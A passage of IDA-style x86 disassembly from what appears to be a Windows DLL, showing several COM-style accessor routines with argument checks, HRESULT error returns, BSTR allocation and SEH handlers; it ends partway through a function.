; ---------------------------------------------------------------------------


loc_69B44D8A:				; CODE XREF: sub_69B44D54+2Aj
		mov	edi, [ebp+8]
		push	dword ptr [edi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		push	dword ptr [edi+18h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B44112
		mov	[ebp-30h], ebx
		mov	[esi], bx
		mov	[esi+8], ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch] ; lpString
		call	sub_69B1A587
		mov	ecx, eax
		call	sub_69B2F266
		mov	[ebp-34h], eax
		mov	edi, [edi+18h]
		mov	[ebp-38h], edi
		mov	ebx, [edi]
		push	eax
		call	sub_69B1A2EC
		push	eax
		mov	ecx, edi
		call	dword ptr [ebx+0A4h]
		mov	[ebp-3Ch], eax
		test	eax, eax
		jnz	short loc_69B44DE9
		mov	dword ptr [ebp-30h], 1
		jmp	short loc_69B44E2E
; ---------------------------------------------------------------------------


loc_69B44DE9:				; CODE XREF: sub_69B44D54+8Aj
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+2Ch]
		mov	[ebp-40h], eax
		mov	word ptr [esi],	8
		mov	ecx, [eax+0Ch]
		mov	[ebp-44h], ecx
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	[esi+8], eax
		jmp	short loc_69B44E2E
; ---------------------------------------------------------------------------


loc_69B44E0D:				; DATA XREF: .text:69B44E5Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B44E16:				; DATA XREF: .text:69B44E60o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-30h], eax


loc_69B44E2E:				; CODE XREF: sub_69B44D54+93j
					; sub_69B44D54+B7j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B1900C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B44E4E:				; CODE XREF: sub_69B44D54+1Aj
					; sub_69B44D54+31j
		call	sub_69B1853C
		retn	0Ch
sub_69B44D54	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
dword_69B44E58	dd 0FFFFFFFFh			dd offset loc_69B44E0D
		dd offset loc_69B44E16

; =============== S U B	R O U T	I N E =======================================



sub_69B44E64	proc near		; DATA XREF: .text:69B12638o
		push	2Ch
		push	offset dword_69B44F48
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B44E87
		mov	eax, 80004005h
		jmp	loc_69B44F40
; ---------------------------------------------------------------------------


loc_69B44E87:				; CODE XREF: sub_69B44E64+17j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		push	dword ptr [esi+18h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B44112
		and	dword ptr [ebp-30h], 0
		and	dword ptr [ebp-4], 0
		mov	eax, [esi+18h]
		mov	[ebp-34h], eax
		movzx	eax, byte ptr [eax+0Bh]
		and	eax, 1Fh
		jle	short loc_69B44ECB
		cmp	eax, 2
		jle	short loc_69B44EC2
		cmp	eax, 6
		jnz	short loc_69B44ECB


loc_69B44EC2:				; CODE XREF: sub_69B44E64+57j
		mov	dword ptr [ebp-30h], 80004001h
		jmp	short loc_69B44F20
; ---------------------------------------------------------------------------


loc_69B44ECB:				; CODE XREF: sub_69B44E64+52j
					; sub_69B44E64+5Cj
		push	dword ptr [ebp+0Ch] ; lpString
		call	sub_69B1A587
		mov	ecx, eax
		call	sub_69B2F266
		push	eax
		call	sub_69B1A2EC
		mov	[ebp-38h], eax
		mov	ecx, [esi+18h]
		mov	[ebp-3Ch], ecx
		mov	edx, [ecx]
		push	eax
		call	dword ptr [edx+0B0h]
		test	eax, eax
		jnz	short loc_69B44F20
		mov	dword ptr [ebp-30h], 1
		jmp	short loc_69B44F20
; ---------------------------------------------------------------------------


loc_69B44EFF:				; DATA XREF: .text:69B44F4Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B44F08:				; DATA XREF: .text:69B44F50o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-30h], eax


loc_69B44F20:				; CODE XREF: sub_69B44E64+65j
					; sub_69B44E64+90j ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B1900C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B44F40:				; CODE XREF: sub_69B44E64+1Ej
		call	sub_69B1853C
		retn	8
sub_69B44E64	endp

; ---------------------------------------------------------------------------
dword_69B44F48	dd 0FFFFFFFFh			dd offset loc_69B44EFF
		dd offset loc_69B44F08

; =============== S U B	R O U T	I N E =======================================



sub_69B44F54	proc near		; DATA XREF: .text:69B12640o
		push	28h
		push	offset dword_69B45060
		call	sub_69B19C5C
		mov	ebx, [ebp+0Ch]
		xor	edi, edi
		cmp	ebx, edi
		jnz	short loc_69B44F73
		mov	eax, 80070057h
		jmp	loc_69B45053
; ---------------------------------------------------------------------------


loc_69B44F73:				; CODE XREF: sub_69B44F54+13j
		mov	[ebx], edi
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		cmp	eax, edi
		jnz	short loc_69B44F8C
		mov	eax, 80004005h
		jmp	loc_69B45053
; ---------------------------------------------------------------------------


loc_69B44F8C:				; CODE XREF: sub_69B44F54+2Cj
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		mov	[ebp-2Ch], edi
		push	dword ptr [esi+18h]
		lea	ecx, [ebp-30h]
		call	sub_69B44112
		mov	[ebp-4], edi
		push	6
		pop	ecx
		mov	[ebp-34h], ecx
		mov	esi, [esi+18h]
		mov	[ebp-38h], esi
		xor	eax, eax
		mov	al, [esi+0Bh]
		and	eax, 1Fh
		sub	eax, edi
		jz	short loc_69B45008
		dec	eax
		jz	short loc_69B44FFF
		dec	eax
		jz	short loc_69B44FF6
		dec	eax
		jz	short loc_69B44FED
		dec	eax
		jz	short loc_69B44FE4
		dec	eax
		jz	short loc_69B44FDB
		dec	eax
		jz	short loc_69B44FFF
		mov	[ebp-34h], ecx
		jmp	short loc_69B4500B
; ---------------------------------------------------------------------------


loc_69B44FDB:				; CODE XREF: sub_69B44F54+7Dj
		mov	dword ptr [ebp-34h], 5
		jmp	short loc_69B4500B
; ---------------------------------------------------------------------------


loc_69B44FE4:				; CODE XREF: sub_69B44F54+7Aj
		mov	dword ptr [ebp-34h], 4
		jmp	short loc_69B4500B
; ---------------------------------------------------------------------------


loc_69B44FED:				; CODE XREF: sub_69B44F54+77j
		mov	dword ptr [ebp-34h], 3
		jmp	short loc_69B4500B
; ---------------------------------------------------------------------------


loc_69B44FF6:				; CODE XREF: sub_69B44F54+74j
		mov	dword ptr [ebp-34h], 2
		jmp	short loc_69B4500B
; ---------------------------------------------------------------------------


loc_69B44FFF:				; CODE XREF: sub_69B44F54+71j
					; sub_69B44F54+80j
		mov	dword ptr [ebp-34h], 1
		jmp	short loc_69B4500B
; ---------------------------------------------------------------------------


loc_69B45008:				; CODE XREF: sub_69B44F54+6Ej
		mov	[ebp-34h], edi


loc_69B4500B:				; CODE XREF: sub_69B44F54+85j
					; sub_69B44F54+8Ej ...
		mov	eax, [ebp-34h]
		mov	[ebx], eax
		jmp	short loc_69B45033
; ---------------------------------------------------------------------------


loc_69B45012:				; DATA XREF: .text:69B45064o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4501B:				; DATA XREF: .text:69B45068o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-2Ch], eax


loc_69B45033:				; CODE XREF: sub_69B44F54+BCj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-30h]
		call	sub_69B1900C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-2Ch]


loc_69B45053:				; CODE XREF: sub_69B44F54+1Aj
					; sub_69B44F54+33j
		call	sub_69B1853C
		retn	8
sub_69B44F54	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B45060	dd 0FFFFFFFFh			dd offset loc_69B45012
		dd offset loc_69B4501B

; =============== S U B	R O U T	I N E =======================================



sub_69B4506C	proc near		; DATA XREF: .text:69B12644o
		push	38h
		push	offset dword_69B45168
		call	sub_69B19C5C
		mov	edi, [ebp+0Ch]
		xor	ebx, ebx
		cmp	edi, ebx
		jnz	short loc_69B4508B
		mov	eax, 80070057h
		jmp	loc_69B45159
; ---------------------------------------------------------------------------


loc_69B4508B:				; CODE XREF: sub_69B4506C+13j
		mov	[edi], ebx
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		cmp	eax, ebx
		jnz	short loc_69B450A4
		mov	eax, 80004005h
		jmp	loc_69B45159
; ---------------------------------------------------------------------------


loc_69B450A4:				; CODE XREF: sub_69B4506C+2Cj
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		push	dword ptr [esi+18h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B44112
		mov	[ebp-4], ebx
		mov	esi, [esi+18h]
		mov	eax, esi
		mov	[ebp-30h], eax
		movzx	eax, byte ptr [eax+0Bh]
		and	eax, 1Fh
		mov	[ebp-34h], eax
		cmp	eax, 4
		jnz	short loc_69B450E2
		mov	ebx, 80004001h
		mov	[ebp-38h], ebx
		jmp	short loc_69B4513A
; ---------------------------------------------------------------------------


loc_69B450E2:				; CODE XREF: sub_69B4506C+6Aj
		cmp	dword ptr [ebp-34h], 12h
		jnz	short loc_69B450EC
		mov	[edi], ebx
		jmp	short loc_69B4513A
; ---------------------------------------------------------------------------


loc_69B450EC:				; CODE XREF: sub_69B4506C+7Aj
		mov	[ebp-3Ch], esi
		mov	[ebp-40h], esi
		push	ebx
		push	ebx
		mov	ecx, esi
		call	sub_69B4A201
		push	eax
		mov	ecx, esi
		call	sub_69B4AAFC
		mov	[ebp-44h], eax
		mov	ecx, [eax+0Ch]
		mov	[ebp-48h], ecx
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	[edi], eax
		jmp	short loc_69B4513A
; ---------------------------------------------------------------------------


loc_69B4511A:				; DATA XREF: .text:69B4516Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B45123:				; DATA XREF: .text:69B45170o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B4513A:				; CODE XREF: sub_69B4506C+74j
					; sub_69B4506C+7Ej ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B1900C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B45159:				; CODE XREF: sub_69B4506C+1Aj
					; sub_69B4506C+33j
		call	sub_69B1853C
		retn	8
sub_69B4506C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B45168	dd 0FFFFFFFFh			dd offset loc_69B4511A
		dd offset loc_69B45123

; =============== S U B	R O U T	I N E =======================================



sub_69B45174	proc near		; DATA XREF: .text:69B12648o
		push	2Ch
		push	offset dword_69B45240
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B45199
		mov	eax, 80004005h
		jmp	loc_69B45236
; ---------------------------------------------------------------------------


loc_69B45199:				; CODE XREF: sub_69B45174+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		push	dword ptr [esi+18h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B44112
		mov	[ebp-4], edi
		mov	eax, [esi+18h]
		mov	[ebp-30h], eax
		movzx	eax, byte ptr [eax+0Bh]
		and	eax, 1Fh
		jle	short loc_69B451ED
		cmp	eax, 2
		jle	short loc_69B451D4
		cmp	eax, 4
		jle	short loc_69B451ED
		cmp	eax, 6
		jg	short loc_69B451ED


loc_69B451D4:				; CODE XREF: sub_69B45174+54j
		push	dword ptr [ebp+0Ch] ; lpString
		call	sub_69B1A587
		mov	[ebp-34h], eax
		mov	ecx, [esi+18h]
		mov	[ebp-38h], ecx
		mov	edx, [ecx]
		push	eax
		call	dword ptr [edx+5Ch]
		jmp	short loc_69B45217
; ---------------------------------------------------------------------------


loc_69B451ED:				; CODE XREF: sub_69B45174+4Fj
					; sub_69B45174+59j ...
		mov	edi, 80004001h
		mov	[ebp-3Ch], edi
		jmp	short loc_69B45217
; ---------------------------------------------------------------------------


loc_69B451F7:				; DATA XREF: .text:69B45244o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B45200:				; DATA XREF: .text:69B45248o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B45217:				; CODE XREF: sub_69B45174+77j
					; sub_69B45174+81j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B1900C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B45236:				; CODE XREF: sub_69B45174+20j
		call	sub_69B1853C
		retn	8
sub_69B45174	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B45240	dd 0FFFFFFFFh			dd offset loc_69B451F7
		dd offset loc_69B45200

; =============== S U B	R O U T	I N E =======================================



sub_69B4524C	proc near		; DATA XREF: .text:69B1264Co
		push	24h
		push	offset dword_69B45320
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B45271
		mov	eax, 80004005h
		jmp	loc_69B45311
; ---------------------------------------------------------------------------


loc_69B45271:				; CODE XREF: sub_69B4524C+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		push	dword ptr [esi+18h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B44112
		cmp	[ebp+0Ch], edi
		jnz	short loc_69B452B0
		lea	ecx, [ebp-2Ch]
		call	sub_69B1900C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, 80070057h
		jmp	short loc_69B45311
; ---------------------------------------------------------------------------


loc_69B452B0:				; CODE XREF: sub_69B4524C+42j
		mov	[ebp-4], edi
		push	dword ptr [ebp+0Ch]
		call	sub_69B47D5E
		mov	[ebp-30h], eax
		mov	ecx, [esi+18h]
		mov	[ebp-34h], ecx
		mov	edx, [ecx]
		push	dword ptr [ebp+10h]
		push	eax
		call	dword ptr [edx+80h]
		jmp	short loc_69B452F2
; ---------------------------------------------------------------------------


loc_69B452D2:				; DATA XREF: .text:69B45324o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B452DB:				; DATA XREF: .text:69B45328o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B452F2:				; CODE XREF: sub_69B4524C+84j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B1900C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B45311:				; CODE XREF: sub_69B4524C+20j
					; sub_69B4524C+62j
		call	sub_69B1853C
		retn	10h
sub_69B4524C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B45320	dd 0FFFFFFFFh			dd offset loc_69B452D2
		dd offset loc_69B452DB

; =============== S U B	R O U T	I N E =======================================



sub_69B4532C	proc near		; DATA XREF: .text:69B12650o
		push	24h
		push	offset dword_69B453F8
		call	sub_69B19C5C
		call	dword_69B92948
		mov	ebx, eax
		mov	[ebp-1Ch], ebx
		xor	edi, edi
		cmp	ebx, edi
		jnz	short loc_69B45353
		mov	eax, 80004005h
		jmp	loc_69B453EE
; ---------------------------------------------------------------------------


loc_69B45353:				; CODE XREF: sub_69B4532C+1Bj
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	ebx
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		push	dword ptr [esi+18h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B44112
		cmp	[ebp+0Ch], edi
		jnz	short loc_69B45390
		lea	ecx, [ebp-2Ch]
		call	sub_69B1900C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	ebx
		call	dword_69B92944
		mov	eax, 80070057h
		jmp	short loc_69B453EE
; ---------------------------------------------------------------------------


loc_69B45390:				; CODE XREF: sub_69B4532C+44j
		mov	[ebp-4], edi
		push	dword ptr [ebp+0Ch]
		call	sub_69B47D5E
		mov	[ebp-30h], eax
		mov	ecx, [esi+18h]
		mov	[ebp-34h], ecx
		mov	edx, [ecx]
		push	eax
		call	dword ptr [edx+84h]
		jmp	short loc_69B453CF
; ---------------------------------------------------------------------------


loc_69B453AF:				; DATA XREF: .text:69B453FCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B453B8:				; DATA XREF: .text:69B45400o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B453CF:				; CODE XREF: sub_69B4532C+81j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B1900C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B453EE:				; CODE XREF: sub_69B4532C+22j
					; sub_69B4532C+62j
		call	sub_69B1853C
		retn	8
sub_69B4532C	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B453F8	dd 0FFFFFFFFh			dd offset loc_69B453AF
		dd offset loc_69B453B8

; =============== S U B	R O U T	I N E =======================================



sub_69B45404	proc near		; DATA XREF: .text:69B1269Co
		push	30h
		push	offset dword_69B45508
		call	sub_69B19C5C
		mov	ebx, [ebp+0Ch]
		xor	edi, edi
		cmp	ebx, edi
		jnz	short loc_69B45423
		mov	eax, 80070057h
		jmp	loc_69B454FA
; ---------------------------------------------------------------------------


loc_69B45423:				; CODE XREF: sub_69B45404+13j
		mov	[ebx], edi
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		cmp	eax, edi
		jnz	short loc_69B4543C
		mov	eax, 80004005h
		jmp	loc_69B454FA
; ---------------------------------------------------------------------------


loc_69B4543C:				; CODE XREF: sub_69B45404+2Cj
		mov	esi, [ebp+8]
		push	dword ptr [esi+1Ch]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		mov	[ebp-2Ch], edi
		mov	[ebp-30h], edi
		push	dword ptr [esi+1Ch]
		lea	ecx, [ebp-34h]
		call	sub_69B44112
		mov	[ebp-4], edi
		mov	ecx, [esi+1Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+44h]
		dec	eax
		dec	eax
		jz	short loc_69B45495
		sub	eax, 3
		jz	short loc_69B45495
		mov	[ebp-38h], edi
		mov	edi, [esi+1Ch]
		mov	[ebp-3Ch], edi


loc_69B45479:				; CODE XREF: sub_69B45404+8Fj
		mov	eax, [esi+20h]
		mov	[ebp-40h], eax
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		push	edi
		mov	ecx, esi
		call	sub_69B43E7F
		test	eax, eax
		jz	short loc_69B45495
		inc	dword ptr [ebp-30h]
		jmp	short loc_69B45479
; ---------------------------------------------------------------------------


loc_69B45495:				; CODE XREF: sub_69B45404+65j
					; sub_69B45404+6Aj ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B454C3
; ---------------------------------------------------------------------------


loc_69B4549B:				; DATA XREF: .text:69B4550Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B454A4:				; DATA XREF: .text:69B45510o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-2Ch], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ebx, [ebp+0Ch]


loc_69B454C3:				; CODE XREF: sub_69B45404+95j
		cmp	dword ptr [ebp-2Ch], 8000000Ah
		jnz	short loc_69B454D3
		mov	dword ptr [ebp-2Ch], 1


loc_69B454D3:				; CODE XREF: sub_69B45404+C6j
		mov	eax, [ebp-30h]
		mov	[ebx], eax
		lea	ecx, [ebp-34h]
		call	sub_69B1900C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		cmp	dword ptr [ebp-1Ch], 0
		jz	short loc_69B454F7
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944


loc_69B454F7:				; CODE XREF: sub_69B45404+E8j
		mov	eax, [ebp-2Ch]


loc_69B454FA:				; CODE XREF: sub_69B45404+1Aj
					; sub_69B45404+33j
		call	sub_69B1853C
		retn	8
sub_69B45404	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B45508	dd 0FFFFFFFFh			dd offset loc_69B4549B
		dd offset loc_69B454A4

; =============== S U B	R O U T	I N E =======================================



sub_69B45514	proc near		; CODE XREF: sub_69B45B17+5j
					; DATA XREF: .text:69B126A0o
		push	24h
		push	offset dword_69B455F0
		call	sub_69B19C5C
		mov	edi, [ebp+0Ch]
		xor	ebx, ebx
		cmp	edi, ebx
		jnz	short loc_69B45533
		mov	eax, 80070057h
		jmp	loc_69B455E2
; ---------------------------------------------------------------------------


loc_69B45533:				; CODE XREF: sub_69B45514+13j
		mov	[edi], ebx
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		cmp	eax, ebx
		jnz	short loc_69B4554C
		mov	eax, 80004005h
		jmp	loc_69B455E2
; ---------------------------------------------------------------------------


loc_69B4554C:				; CODE XREF: sub_69B45514+2Cj
		mov	esi, [ebp+8]
		push	dword ptr [esi+1Ch]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		push	dword ptr [esi+1Ch]
		lea	ecx, [ebp-2Ch]
		call	sub_69B44112
		and	dword ptr [ebp-4], 0
		mov	ecx, [esi+1Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+0B4h]
		test	eax, eax
		jz	short loc_69B4558F
		mov	ecx, [esi+1Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+0B4h]
		mov	[ebp-30h], eax
		mov	eax, [eax+3Ch]
		mov	[ebp-34h], eax
		jmp	short loc_69B45594
; ---------------------------------------------------------------------------


loc_69B4558F:				; CODE XREF: sub_69B45514+63j
		mov	eax, dword_69B95AB0


loc_69B45594:				; CODE XREF: sub_69B45514+79j
		push	eax
		lea	eax, [esi+18h]
		push	eax
		push	esi
		call	sub_69B54B2A
		mov	[edi], eax
		jmp	short loc_69B455C3
; ---------------------------------------------------------------------------


loc_69B455A3:				; DATA XREF: .text:69B455F4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B455AC:				; DATA XREF: .text:69B455F8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B455C3:				; CODE XREF: sub_69B45514+8Dj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B1900C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B455E2:				; CODE XREF: sub_69B45514+1Aj
					; sub_69B45514+33j
		call	sub_69B1853C
		retn	8
sub_69B45514	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B455F0	dd 0FFFFFFFFh			dd offset loc_69B455A3
		dd offset loc_69B455AC

; =============== S U B	R O U T	I N E =======================================



sub_69B455FC	proc near		; CODE XREF: sub_69B45B90+3p
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi-0Ch], offset off_69B12658
		mov	dword ptr [esi-8], offset off_69B28084
		mov	dword ptr [esi], offset	off_69B28080
		call	sub_69B48B39
		lea	ecx, [esi-0Ch]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, esi
		pop	esi
		jmp	loc_69B88066
sub_69B455FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4562A	proc near		; DATA XREF: .text:69B12674o
		push	2Ch
		push	offset dword_69B456F8
		call	sub_69B19C5C
		mov	edi, [ebp+0Ch]
		xor	ebx, ebx
		cmp	edi, ebx
		jnz	short loc_69B45649
		mov	eax, 80070057h
		jmp	loc_69B456EE
; ---------------------------------------------------------------------------


loc_69B45649:				; CODE XREF: sub_69B4562A+13j
		mov	[edi], ebx
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		cmp	eax, ebx
		jnz	short loc_69B45662
		mov	eax, 80004005h
		jmp	loc_69B456EE
; ---------------------------------------------------------------------------


loc_69B45662:				; CODE XREF: sub_69B4562A+2Cj
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		push	dword_69B95AB0
		lea	ecx, [ebp-2Ch]
		call	sub_69B18E23
		and	dword ptr [ebp-4], 0
		mov	ecx, [esi+18h]
		mov	[ebp-30h], ecx
		mov	eax, [ecx]
		call	dword ptr [eax+38h]
		mov	[ebp-34h], eax
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+2Ch]
		mov	[ebp-38h], eax
		mov	ecx, [eax+0Ch]
		mov	[ebp-3Ch], ecx
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	[edi], eax
		jmp	short loc_69B456CF
; ---------------------------------------------------------------------------


loc_69B456AF:				; DATA XREF: .text:69B456FCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B456B8:				; DATA XREF: .text:69B45700o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B456CF:				; CODE XREF: sub_69B4562A+83j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B1900C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B456EE:				; CODE XREF: sub_69B4562A+1Aj
					; sub_69B4562A+33j
		call	sub_69B1853C
		retn	8
sub_69B4562A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
dword_69B456F8	dd 0FFFFFFFFh			dd offset loc_69B456AF
		dd offset loc_69B456B8

; =============== S U B	R O U T	I N E =======================================



sub_69B45704	proc near		; DATA XREF: .text:69B12678o
		push	30h
		push	offset dword_69B457E0
		call	sub_69B19C5C
		mov	edi, [ebp+0Ch]
		xor	ebx, ebx
		cmp	edi, ebx
		jnz	short loc_69B45723
		mov	eax, 80070057h
		jmp	loc_69B457D2
; ---------------------------------------------------------------------------


loc_69B45723:				; CODE XREF: sub_69B45704+13j
		mov	[edi], ebx
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		cmp	eax, ebx
		jnz	short loc_69B4573C
		mov	eax, 80004005h
		jmp	loc_69B457D2
; ---------------------------------------------------------------------------


loc_69B4573C:				; CODE XREF: sub_69B45704+2Cj
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		mov	[ebp-2Ch], ebx
		push	dword_69B95AB0
		lea	ecx, [ebp-30h]
		call	sub_69B18E23
		mov	[ebp-4], ebx
		mov	esi, [esi+18h]
		mov	[ebp-34h], esi
		mov	[ebp-38h], esi
		push	1
		push	ebx
		mov	ecx, esi
		call	sub_69B4A201
		push	eax
		mov	ecx, esi
		call	sub_69B4AAFC
		mov	[ebp-3Ch], eax
		mov	ecx, [eax+0Ch]
		mov	[ebp-40h], ecx
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	[edi], eax
		jmp	short loc_69B457B2
; ---------------------------------------------------------------------------


loc_69B45791:				; DATA XREF: .text:69B457E4o
		push	dword ptr [ebp-14h]
